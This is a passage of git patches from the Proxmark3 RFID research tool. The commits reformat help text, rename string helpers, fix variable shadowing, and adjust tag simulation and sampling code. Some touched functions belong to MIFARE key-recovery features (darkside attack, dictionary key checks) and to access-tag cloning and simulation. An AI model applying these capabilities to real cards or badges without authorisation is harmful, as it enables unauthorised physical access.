tag from GraphBuffer using a clock of RF/32, invert output, autodetect fc"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 64 0 8 5 = demod an fsk1 RF/64 tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 50 0 10 8 = demod an fsk2 RF/50 tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 50 1 10 8 = demod an fsk2a RF/50 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod fs = demod an fsk tag from GraphBuffer using autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod fs 32 = demod an fsk tag from GraphBuffer using a clock of RF/32, autodetect fc"); + PrintAndLogEx(NORMAL, " data rawdemod fs 1 = demod an fsk tag from GraphBuffer using autodetect, invert output"); + PrintAndLogEx(NORMAL, " data rawdemod fs 32 1 = demod an fsk tag from GraphBuffer using a clock of RF/32, invert output, autodetect fc"); + PrintAndLogEx(NORMAL, " data rawdemod fs 64 0 8 5 = demod an fsk1 RF/64 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod fs 50 0 10 8 = demod an fsk2 RF/50 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod fs 50 1 10 8 = demod an fsk2a RF/50 tag from GraphBuffer"); return PM3_SUCCESS; } static int usage_data_rawdemod_nr(void) { @@ -193,11 +204,12 @@ static int usage_data_rawdemod_nr(void) { PrintAndLogEx(NORMAL, " , 1 for invert output"); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod nr = demod a nrz/direct tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 32 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 32 1 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 1 = demod a nrz/direct tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 64 1 0 = demod a nrz/direct tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod nr = demod a nrz/direct tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod nr 32 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod nr 32 1 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod nr 1 = demod a nrz/direct tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod nr 64 1 0 = demod a nrz/direct tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_rawdemod_p1(void) { @@ -206,11 +218,12 @@ static int usage_data_rawdemod_p1(void) { PrintAndLogEx(NORMAL, " , 1 for invert output"); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod p1 = demod a psk1 tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 32 = demod a psk1 tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 32 1 = demod a psk1 tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 1 = demod a psk1 tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 64 1 0 = demod a psk1 tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod p1 = demod a psk1 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod p1 32 = demod a psk1 tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod p1 32 1 = demod a psk1 tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod p1 1 = demod a psk1 tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod p1 64 1 0 = demod a psk1 tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_rawdemod_p2(void) { @@ -219,11 +232,12 @@ static int usage_data_rawdemod_p2(void) { PrintAndLogEx(NORMAL, " , 1 for invert output"); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod p2 = demod a psk2 tag from GraphBuffer, autodetect clock"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 32 = demod a psk2 tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 32 1 = demod a psk2 tag from GraphBuffer using a clock of RF/32 and inverting output"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 1 = demod a psk2 tag from GraphBuffer, autodetect clock and invert output"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 64 1 0 = demod a psk2 tag from GraphBuffer using a clock of RF/64, inverting output and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod p2 = demod a psk2 tag from GraphBuffer, autodetect clock"); + PrintAndLogEx(NORMAL, " data rawdemod p2 32 = demod a psk2 tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod p2 32 1 = demod a psk2 tag from GraphBuffer using a clock of RF/32 and inverting output"); + PrintAndLogEx(NORMAL, " data rawdemod p2 1 = demod a psk2 tag from GraphBuffer, autodetect clock and invert output"); + PrintAndLogEx(NORMAL, " data rawdemod p2 64 1 0 = demod a psk2 tag from GraphBuffer using a clock of RF/64, inverting output and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_autocorr(void) { From eb4573b06c5bd95124fdc89527057fef9ad60a59 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 5 Jan 2020 21:45:29 +0100 Subject: [PATCH 256/418] strdup --- client/proxmark3.c | 16 ++++++++++------ client/util.c | 13 +++++++++---- client/util.h | 3 ++- 3 files changed, 21 insertions(+), 11 deletions(-) diff --git a/client/proxmark3.c b/client/proxmark3.c index 5d0b47fb3..76048952f 100644 --- a/client/proxmark3.c +++ b/client/proxmark3.c @@ -10,9 +10,10 @@ //----------------------------------------------------------------------------- #include "proxmark3.h" -#include -#include // for Mingw readline + #include +#include // for Mingw readline +#include #include #include #include @@ -27,7 +28,6 @@ #include "fileutils.h" #include "flash.h" - static void showBanner(void) { g_printAndLog = PRINTANDLOG_PRINT; @@ -169,13 +169,16 @@ check_script: // remove linebreaks strcleanrn(script_cmd_buf, sizeof(script_cmd_buf)); - if ((cmd = strmcopy(script_cmd_buf)) != NULL) + cmd = strdup(script_cmd_buf); + if (cmd != NULL) printprompt = true; } } else { // If there is a script command if (execCommand) { - if ((cmd = strmcopy(script_cmd)) != NULL) + + cmd = strdup(script_cmd); + if (cmd != NULL) printprompt = true; uint16_t len = strlen(script_cmd) + 1; @@ -203,7 +206,8 @@ check_script: // remove linebreaks strcleanrn(script_cmd_buf, sizeof(script_cmd_buf)); - if ((cmd = strmcopy(script_cmd_buf)) != NULL) + cmd = strdup(script_cmd_buf); + if (cmd != NULL) printprompt = true; } else { diff --git a/client/util.c b/client/util.c index e5446313d..41ee8f0d8 100644 --- a/client/util.c +++ b/client/util.c @@ -918,11 +918,16 @@ void strcreplace(char *buf, size_t len, char from, char to) { } } -char *strmcopy(const char *src) { - int len = strlen(src) + 1; - char *dest = (char *) calloc(len, sizeof(uint8_t)); + +char *strdup(const char *src) { + return strndup(src, strlen(src)); +} +char *strndup(const char *src, size_t len) { + + char *dest = (char *) calloc(len + 1, sizeof(uint8_t)); if (dest != NULL) { - strncat(dest, src, len); + memcpy(dest, src, len); + dest[len] = '\0'; } return dest; } diff --git a/client/util.h b/client/util.h index 043f08e5d..b5a4be4a6 100644 --- a/client/util.h +++ b/client/util.h @@ -99,6 +99,7 @@ bool str_endswith(const char *s, const char *suffix); // check for suffix in void clean_ascii(unsigned char *buf, size_t len); void strcleanrn(char *buf, size_t len); void strcreplace(char *buf, size_t len, char from, char to); -char *strmcopy(const char *src); +char *strdup(const char *src); +char *strndup(const char *src, size_t len); int hexstring_to_u96(uint32_t *hi2, uint32_t *hi, uint32_t *lo, const char *str); #endif From 719fcf91abe843204e6a70b2c84641103d7a1cc3 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 5 Jan 2020 22:24:24 +0100 Subject: [PATCH 257/418] strdup name confusing --- client/proxmark3.c | 6 +++--- client/util.c | 6 +++--- client/util.h | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/client/proxmark3.c b/client/proxmark3.c index 76048952f..d582bafc0 100644 --- a/client/proxmark3.c +++ b/client/proxmark3.c @@ -169,7 +169,7 @@ check_script: // remove linebreaks strcleanrn(script_cmd_buf, sizeof(script_cmd_buf)); - cmd = strdup(script_cmd_buf); + cmd = str_dup(script_cmd_buf); if (cmd != NULL) printprompt = true; } @@ -177,7 +177,7 @@ check_script: // If there is a script command if (execCommand) { - cmd = strdup(script_cmd); + cmd = str_dup(script_cmd); if (cmd != NULL) printprompt = true; @@ -206,7 +206,7 @@ check_script: // remove linebreaks strcleanrn(script_cmd_buf, sizeof(script_cmd_buf)); - cmd = strdup(script_cmd_buf); + cmd = str_dup(script_cmd_buf); if (cmd != NULL) printprompt = true; diff --git a/client/util.c b/client/util.c index 41ee8f0d8..226255536 100644 --- a/client/util.c +++ b/client/util.c @@ -919,10 +919,10 @@ void strcreplace(char *buf, size_t len, char from, char to) { } -char *strdup(const char *src) { - return strndup(src, strlen(src)); +char *str_dup(const char *src) { + return str_ndup(src, strlen(src)); } -char *strndup(const char *src, size_t len) { +char *str_ndup(const char *src, size_t len) { char *dest = (char *) calloc(len + 1, sizeof(uint8_t)); if (dest != NULL) { diff --git a/client/util.h b/client/util.h index b5a4be4a6..21db9198f 100644 --- a/client/util.h +++ b/client/util.h @@ -99,7 +99,7 @@ bool str_endswith(const char *s, const char *suffix); // check for suffix in void clean_ascii(unsigned char *buf, size_t len); void strcleanrn(char *buf, size_t len); void strcreplace(char *buf, size_t len, char from, char to); -char *strdup(const char *src); -char *strndup(const char *src, size_t len); +char *str_dup(const char *src); +char *str_ndup(const char *src, size_t len); int hexstring_to_u96(uint32_t *hi2, uint32_t *hi, uint32_t *lo, const char *str); #endif From b3b1e103300de3eb85365e0220ed4d6a915937b5 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 5 Jan 2020 22:54:31 +0100 Subject: [PATCH 258/418] shadowing --- client/mifare/mifare4.c | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/client/mifare/mifare4.c b/client/mifare/mifare4.c index 84f509078..966a2027d 100644 --- a/client/mifare/mifare4.c +++ b/client/mifare/mifare4.c @@ -22,12 +22,7 @@ void mfpSetVerboseMode(bool verbose) { VerboseMode = verbose; } -typedef struct { - uint8_t Code; - const char *Description; -} PlusErrorsElm; - -static const PlusErrorsElm PlusErrors[] = { +static const PlusErrorsElm_t PlusErrors[] = { {0xFF, ""}, {0x00, "Transfer cannot be granted within the current authentication."}, {0x06, "Access Conditions not fulfilled. Block does not exist, block is not a value block."}, @@ -96,7 +91,7 @@ const char *mfGetAccessConditionsDesc(uint8_t blockn, uint8_t *data) { }; /* static int CalculateEncIVCommand(mf4Session_t *session, uint8_t *iv, bool verbose) { - memcpy(&iv[0], session->TI, 4); + memcpy(&iv[0], &session->TI, 4); memcpy(&iv[4], &session->R_Ctr, 2); memcpy(&iv[6], &session->W_Ctr, 2); memcpy(&iv[8], &session->R_Ctr, 2); @@ -114,7 +109,7 @@ static int CalculateEncIVResponse(mf4Session *session, uint8_t *iv, bool verbose memcpy(&iv[6], &session->W_Ctr, 2); memcpy(&iv[8], &session->R_Ctr, 2); memcpy(&iv[10], &session->W_Ctr, 2); - memcpy(&iv[12], session->TI, 4); + memcpy(&iv[12], &session->TI, 4); return 0; } @@ -382,8 +377,8 @@ int mfpReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data if (verbose) PrintAndLogEx(INFO, "--sector[%d]:%02x key:%04x", mfNumBlocksPerSector(sectorNo), sectorNo, uKeyNum); - mf4Session_t session; - int res = MifareAuth4(&session, keyn, key, true, true, true, verbose, false); + mf4Session_t _session; + int res = MifareAuth4(&_session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Sector %d authentication error: %d", sectorNo, res); return res; @@ -394,7 +389,7 @@ int mfpReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data uint8_t mac[8] = {0}; uint8_t firstBlockNo = mfFirstBlockOfSector(sectorNo); for (int n = firstBlockNo; n < firstBlockNo + mfNumBlocksPerSector(sectorNo); n++) { - res = MFPReadBlock(&session, plain, n & 0xff, 1, false, true, data, sizeof(data), &datalen, mac); + res = MFPReadBlock(&_session, plain, n & 0xff, 1, false, true, data, sizeof(data), &datalen, mac); if (res) { PrintAndLogEx(ERR, "Sector %d read error: %d", sectorNo, res); DropField(); From 42ed891f30a2125afe81825766ad008d76495205 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 5 Jan 2020 22:55:10 +0100 Subject: [PATCH 259/418] shadowing --- client/mifare/mifare4.h | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/client/mifare/mifare4.h b/client/mifare/mifare4.h index 3efb9e43a..cb2c8d652 100644 --- a/client/mifare/mifare4.h +++ b/client/mifare/mifare4.h @@ -41,6 +41,12 @@ typedef struct { const char *description; } AccessConditions_t; + +typedef struct { + uint8_t Code; + const char *Description; +} PlusErrorsElm_t; + void mfpSetVerboseMode(bool verbose); const char *mfpGetErrorDescription(uint8_t errorCode); From 30de7f5082f312b632d1c2ab98433598ec4b6567 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 5 Jan 2020 23:07:33 +0100 Subject: [PATCH 260/418] shadow --- client/cmdhfmfdes.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/cmdhfmfdes.c b/client/cmdhfmfdes.c index 63e5a5be5..9c35a195d 100644 --- a/client/cmdhfmfdes.c +++ b/client/cmdhfmfdes.c @@ -529,10 +529,10 @@ static int CmdHF14ADesAuth(const char *Cmd) { uint8_t isOK = resp.oldarg[0] & 0xff; if (isOK) { - uint8_t *session = resp.data.asBytes; + uint8_t *session_key = resp.data.asBytes; PrintAndLogEx(NORMAL, " Key :%s", sprint_hex(key, keylength)); - PrintAndLogEx(NORMAL, " SESSION :%s", sprint_hex(session, keylength)); + PrintAndLogEx(NORMAL, " SESSION :%s", sprint_hex(session_key, keylength)); PrintAndLogEx(NORMAL, "-------------------------------------------------------------"); //PrintAndLogEx(NORMAL, " Expected :B5 21 9E E8 1A A7 49 9D 21 96 68 7E 13 97 38 56"); } else { From a1d93567d2330286a1d6238f076f5b256eec1eca Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 5 Jan 2020 23:14:24 +0100 Subject: [PATCH 261/418] shadowing --- client/cmdhfmf.c | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index a8960d5d0..4fe5370fc 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -1750,7 +1750,6 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { if (param_gethex(Cmd, cmdp + 3, key, 12)) { PrintAndLogEx(WARNING, "Key must include 12 HEX symbols"); errors = true; - return PM3_EINVARG; } know_target_key = true; cmdp += 3; @@ -1896,7 +1895,7 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { bool load_success = true; // Load the dictionary if (has_filename) { - int res = loadFileDICTIONARY_safe(filename, (void **) &keyBlock, 6, &key_cnt); + res = loadFileDICTIONARY_safe(filename, (void **) &keyBlock, 6, &key_cnt); if (res != PM3_SUCCESS || key_cnt == 0 || keyBlock == NULL) { PrintAndLogEx(FAILED, "An error occurred while loading the dictionary! (we will use the default keys now)"); if (keyBlock != NULL) @@ -1965,7 +1964,7 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { if (size == key_cnt - i) lastChunk = true; - int res = mfCheckKeys_fast(sectors_cnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * 6), e_sector, false); + res = mfCheckKeys_fast(sectors_cnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * 6), e_sector, false); if (firstChunk) firstChunk = false; // all keys, aborted @@ -2016,7 +2015,7 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { // Check if the darkside attack can be used if (prng_type) { if (verbose) PrintAndLogEx(INFO, _YELLOW_("======================= START DARKSIDE ATTACK =======================")); - int isOK = mfDarkside(FirstBlockOfSector(blockNo), keyType, &key64); + isOK = mfDarkside(FirstBlockOfSector(blockNo), keyType, &key64); if (verbose) PrintAndLogEx(INFO, _YELLOW_("======================= STOP DARKSIDE ATTACK =======================")); switch (isOK) { case -1 : @@ -2508,7 +2507,7 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { if (size == keycnt - i) lastChunk = true; - int res = mfCheckKeys_fast(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * 6), e_sector, false); + res = mfCheckKeys_fast(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * 6), e_sector, false); if (firstChunk) firstChunk = false; @@ -4310,10 +4309,8 @@ static int CmdHF14AMfice(const char *Cmd) { if (resp.oldarg[0]) goto out; uint32_t items = resp.oldarg[2]; - if (fnonces) { - fwrite(resp.data.asBytes, 1, items * 4, fnonces); - fflush(fnonces); - } + fwrite(resp.data.asBytes, 1, items * 4, fnonces); + fflush(fnonces); total_num_nonces += items; if (total_num_nonces > part_limit) { From 2cac27ed5372d5a536a62dd3407537492e670c3a Mon Sep 17 00:00:00 2001 From: danshuk Date: Mon, 6 Jan 2020 19:38:44 +0000 Subject: [PATCH 262/418] chg: lf pac sim *wip* --- armsrc/appmain.c | 2 +- client/cmdlfpac.c | 23 +++++++++++++---------- 2 files changed, 14 insertions(+), 11 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 20c26eb4d..4ed7f7dc3 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -780,7 +780,7 @@ static void PacketReceived(PacketCommandNG *packet) { } case CMD_LF_NRZ_SIMULATE: { lf_nrzsim_t *payload = (lf_nrzsim_t *)packet->data.asBytes; - CmdNRZsimTAG(payload->invert, payload->separator, payload->clock, packet->length - sizeof(lf_asksim_t), payload->data, true); + CmdNRZsimTAG(payload->invert, payload->separator, payload->clock, packet->length - sizeof(lf_nrzsim_t), payload->data, true); break; } case CMD_LF_HID_CLONE: { diff --git a/client/cmdlfpac.c b/client/cmdlfpac.c index 92a7f18ea..040c8af0a 100644 --- a/client/cmdlfpac.c +++ b/client/cmdlfpac.c @@ -51,7 +51,7 @@ static int usage_lf_pac_sim(void) { PrintAndLogEx(NORMAL, " : 8 byte PAC/Stanley card id"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " lf pac sim 1A337"); + PrintAndLogEx(NORMAL, " lf pac sim 12345678"); return PM3_SUCCESS; } // by danshuk @@ -245,20 +245,23 @@ static int CmdPacClone(const char *Cmd) { static int CmdPacSim(const char *Cmd) { // NRZ sim. - uint32_t id = 0; - uint64_t rawID = 0; + char cardid[9] = { 0 }; + uint8_t rawBytes[16] = { 0 }; + uint32_t rawBlocks[4]; char cmdp = tolower(param_getchar(Cmd, 0)); if (strlen(Cmd) == 0 || cmdp == 'h') return usage_lf_pac_sim(); - id = param_get32ex(Cmd, 0, 0, 16); - if (id == 0) return usage_lf_pac_sim(); - - //rawID = pacCardIdToRaw(id); - - PrintAndLogEx(SUCCESS, "Simulating PAC/Stanley - ID " _YELLOW_("%08X")" raw "_YELLOW_("%08X%08X"), id, (uint32_t)(rawID >> 32), (uint32_t)(rawID & 0xFFFFFFFF)); + int res = param_getstr(Cmd, 0, cardid, sizeof(cardid)); + if (res < 8) return usage_lf_pac_sim(); uint8_t bs[128]; - num_to_bytebits(rawID, sizeof(bs), bs); + pacCardIdToRaw(rawBytes, cardid); + for (size_t i = 0; i < ARRAYLEN(rawBlocks); i++) { + rawBlocks[i] = bytes_to_num(rawBytes + (i * sizeof(uint32_t)), sizeof(uint32_t)); + num_to_bytebits(rawBlocks[i], sizeof(uint32_t) * 8, bs + (i * sizeof(uint32_t) * 8)); + } + + PrintAndLogEx(SUCCESS, "Simulating PAC/Stanley - ID " _YELLOW_("%s")" raw "_YELLOW_("%08X%08X%08X%08X"), cardid, rawBlocks[0], rawBlocks[1], rawBlocks[2], rawBlocks[3]); lf_nrzsim_t *payload = calloc(1, sizeof(lf_nrzsim_t) + sizeof(bs)); payload->invert = 0; From e9960ed0a039efd1ba002b2ad44b9889daccf21f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 7 Jan 2020 09:19:59 +0100 Subject: [PATCH 263/418] Fix: lf io sim/clone - now takes same input format (decimal/hex) as outputted --- client/cmdlfio.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/client/cmdlfio.c b/client/cmdlfio.c index 57a8a64d1..b640bed41 100644 --- a/client/cmdlfio.c +++ b/client/cmdlfio.c @@ -47,9 +47,9 @@ static int usage_lf_io_sim(void) { PrintAndLogEx(NORMAL, "Usage: lf io sim [h] "); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h : This help"); - PrintAndLogEx(NORMAL, " : 8bit version"); - PrintAndLogEx(NORMAL, " : 8bit value facility code"); - PrintAndLogEx(NORMAL, " : 16bit value card number"); + PrintAndLogEx(NORMAL, " : 8bit version (decimal)"); + PrintAndLogEx(NORMAL, " : 8bit value facility code (hex)"); + PrintAndLogEx(NORMAL, " : 16bit value card number (decimal)"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf io sim 26 101 1337"); @@ -63,9 +63,9 @@ static int usage_lf_io_clone(void) { PrintAndLogEx(NORMAL, "Usage: lf io clone [h] [Q5]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h : This help"); - PrintAndLogEx(NORMAL, " : 8bit version"); - PrintAndLogEx(NORMAL, " : 8bit value facility code"); - PrintAndLogEx(NORMAL, " : 16bit value card number"); + PrintAndLogEx(NORMAL, " : 8bit version (decimal)"); + PrintAndLogEx(NORMAL, " : 8bit value facility code (hex)"); + PrintAndLogEx(NORMAL, " : 16bit value card number (decimal)"); PrintAndLogEx(NORMAL, " Q5 : optional - clone to Q5 (T5555) instead of T55x7 chip"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); @@ -197,7 +197,7 @@ static int CmdIOProxSim(const char *Cmd) { if (strlen(Cmd) == 0 || cmdp == 'h') return usage_lf_io_sim(); version = param_get8(Cmd, 0); - fc = param_get8(Cmd, 1); + fc = param_get8ex(Cmd, 1, 0, 16); cn = param_get32ex(Cmd, 2, 0, 10); if (!version || !fc || !cn) return usage_lf_io_sim(); @@ -249,7 +249,7 @@ static int CmdIOProxClone(const char *Cmd) { if (strlen(Cmd) == 0 || cmdp == 'h') return usage_lf_io_clone(); version = param_get8(Cmd, 0); - fc = param_get8(Cmd, 1); + fc = param_get8ex(Cmd, 1, 0, 16); cn = param_get32ex(Cmd, 2, 0, 10); if (!version || !fc || !cn) return usage_lf_io_clone(); From f7156e7485e03b22d9f8077caccd0a173328b28f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 7 Jan 2020 22:05:01 +0100 Subject: [PATCH 264/418] chg: adapted lfsampling, and swapped from 'silent' logic to the more natural 'verbose' logic --- armsrc/appmain.c | 6 +- armsrc/lfadc.c | 24 +++-- armsrc/lfops.c | 34 +++--- armsrc/lfsampling.c | 246 ++++++++++++++++++++++++++------------------ armsrc/lfsampling.h | 32 ++++-- client/cmddata.c | 12 +-- client/cmddata.h | 2 +- client/cmdhf15.c | 6 +- client/cmdlf.c | 32 +++--- client/cmdlf.h | 2 +- client/cmdlfcotag.c | 2 +- client/cmdlft55xx.c | 4 +- 12 files changed, 236 insertions(+), 166 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 20c26eb4d..a54967262 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -730,11 +730,11 @@ static void PacketReceived(PacketCommandNG *packet) { } case CMD_LF_ACQ_RAW_ADC: { struct p { - uint8_t silent; + uint8_t verbose; uint32_t samples; } PACKED; struct p *payload = (struct p *)packet->data.asBytes; - uint32_t bits = SampleLF(payload->silent, payload->samples); + uint32_t bits = SampleLF(payload->verbose, payload->samples); reply_ng(CMD_LF_ACQ_RAW_ADC, PM3_SUCCESS, (uint8_t *)&bits, sizeof(bits)); break; } @@ -1603,7 +1603,7 @@ static void PacketReceived(PacketCommandNG *packet) { BigBuf_Clear_ext(false); BigBuf_free(); } - + // 40 000 - (512-3) 509 = 39491 uint16_t offset = MIN(BIGBUF_SIZE - PM3_CMD_DATA_SIZE - 3, payload->offset); diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index c192087c4..a42fe8c52 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -61,7 +61,7 @@ size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { adc_val = AT91C_BASE_SSC->SSC_RHR; periods++; - if (logging) logSample(adc_val, 1, 8, 0, 0); + if (logging) logSample(adc_val, 1, 8, 0); // Only test field changes if state of adc values matter if (!wait) { @@ -91,7 +91,7 @@ size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { if (periods == max) return 0; } } - if (logging) logSample(255, 1, 8, 0, 0); + if (logging) logSample(255, 1, 8, 0); return 0; } @@ -168,7 +168,7 @@ void lf_init(bool reader) { AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; // Prepare data trace - if (logging) initSamplingBuffer(); + if (logging) initSamplingBuffer(NULL); } @@ -189,9 +189,21 @@ void lf_finalize() { size_t lf_detect_field_drop(size_t max) { size_t periods = 0; volatile uint8_t adc_val; + int16_t checked = 0; + + while (true) { + + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (BUTTON_PRESS() || data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; - // usb check? - while (!BUTTON_PRESS()) { // Watchdog hit WDT_HIT(); @@ -199,7 +211,7 @@ size_t lf_detect_field_drop(size_t max) { periods++; adc_val = AT91C_BASE_SSC->SSC_RHR; - if (logging) logSample(adc_val, 1, 8, 0, 0); + if (logging) logSample(adc_val, 1, 8, 0); if (adc_val == 0) { rising_edge = false; diff --git a/armsrc/lfops.c b/armsrc/lfops.c index 12cd82e43..ed23e75ea 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -473,7 +473,7 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); // now do the read - DoAcquisition_config(false, 0); + DoAcquisition_config(true, 0); // Turn off antenna FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); @@ -1182,7 +1182,7 @@ static void nrzSimBit(uint8_t c, int *n, uint8_t clock) { *n += clock; } -// args clock, +// args clock, void CmdNRZsimTAG(uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); @@ -1198,7 +1198,7 @@ void CmdNRZsimTAG(uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, nrzSimBit(bits[i] ^ invert, &n, clk); } - if (bits[0] == bits[size - 1]) { //run a second set inverted (for ask/raw || biphase phase) + if (bits[0] == bits[size - 1]) { for (i = 0; i < size; i++) { nrzSimBit(bits[i] ^ invert ^ 1, &n, clk); } @@ -1239,7 +1239,7 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, true); + DoAcquisition_default(-1, false); // FSK demodulator size = 50 * 128 * 2; //big enough to catch 2 sequences of largest format int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx); @@ -1330,7 +1330,7 @@ void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, true); + DoAcquisition_default(-1, false); // FSK demodulator size = MIN(12800, BigBuf_max_traceLen()); @@ -1421,11 +1421,11 @@ void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol) WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, true); + DoAcquisition_default(-1, false); size = MIN(16385, BigBuf_max_traceLen()); - - //askdemod and manchester decode + + //askdemod and manchester decode int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1); WDT_HIT(); @@ -1486,10 +1486,10 @@ void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, 